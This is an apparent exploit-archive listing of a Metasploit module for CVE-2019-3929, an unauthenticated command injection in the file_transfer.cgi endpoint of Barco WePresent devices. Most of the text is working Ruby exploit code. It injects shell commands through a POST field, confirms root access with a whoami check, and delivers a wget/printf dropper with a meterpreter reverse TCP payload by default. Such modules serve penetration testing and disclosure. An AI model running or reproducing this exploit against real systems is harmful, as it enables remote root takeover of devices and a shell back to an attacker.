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Barco WePresent file_transfer.cgi Command Injection

Barco WePresent file_transfer.cgi Command Injection
Posted Jan 14, 2020
Authored by Jacob Baines | Site metasploit.com

This Metasploit module exploits an unauthenticated remote command injection vulnerability found in Barco WePresent and related OEM'ed products. The vulnerability is triggered via an HTTP POST request to the file_transfer.cgi endpoint.

tags | exploit, remote, web, cgi
advisories | CVE-2019-3929
MD5 | 9bf16d3b24df38008118d2a86f469b2e

Barco WePresent file_transfer.cgi Command Injection

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => "Barco WePresent file_transfer.cgi Command Injection",
'Description' => %q(
This module exploits an unauthenticated remote command injection
vulnerability found in Barco WePresent and related OEM'ed products.
The vulnerability is triggered via an HTTP POST request to the
file_transfer.cgi endpoint.
),
'License' => MSF_LICENSE,
'Author' => 'Jacob Baines', # @Junior_Baines'
'References' =>
[
['CVE', '2019-3929'],
['EDB', '46786'],
['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']
],
'DisclosureDate' => "Apr 30, 2019",
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => false,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }
}],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'CmdStagerFlavor' => ['printf', 'wget'],
'Type' => :linux_dropper]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'printf',
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}))
end

def filter_bad_chars(cmd)
cmd.gsub!(/;/, 'Pa_Note')
cmd.gsub!(/\+/, 'Pa_Add')
cmd.gsub!(/&/, 'Pa_Amp')
return cmd
end

def send_command(cmd, timeout)
vars_post = {
file_transfer: 'new',
dir: "'#{filter_bad_chars(cmd)}'"
}

send_request_cgi({
'uri' => '/cgi-bin/file_transfer.cgi',
'method' => 'POST',
'vars_post' => vars_post
}, timeout)
end

def check
check_resp = send_command(";whoami;", 5)
unless check_resp
return CheckCode::Unknown('Connection failed.')
end

if check_resp.code == 200
check_resp.body.gsub!(/[\r\n]/, "")
if check_resp.body == "root"
return CheckCode::Vulnerable
end
end

CheckCode::Safe
end

def execute_command(cmd, _opts = {})
send_command(";(#{cmd})&", nil)
end

def exploit
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 128)
end
end
end
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